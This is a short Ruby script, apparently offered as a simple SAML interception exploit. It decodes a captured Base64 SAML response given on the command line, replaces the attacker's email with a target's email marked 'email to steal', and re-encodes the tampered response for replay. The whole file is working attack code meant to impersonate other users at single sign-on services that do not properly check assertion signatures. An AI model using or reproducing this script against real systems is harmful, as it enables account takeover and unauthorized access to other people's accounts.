saml-interception-exploit-simple.rb

# very simple SAML exploit, intercept response and change it with the SAML key this exploit produces for you 

require 'uri'
require 'base64'

str = URI.unescape ARGV[0]
response = Base64.decode64(str)

malicious_response = response.gsub("<your email>","<email to steal>")

puts URI.escape(Base64.strict_encode64(malicious_response),"+/=")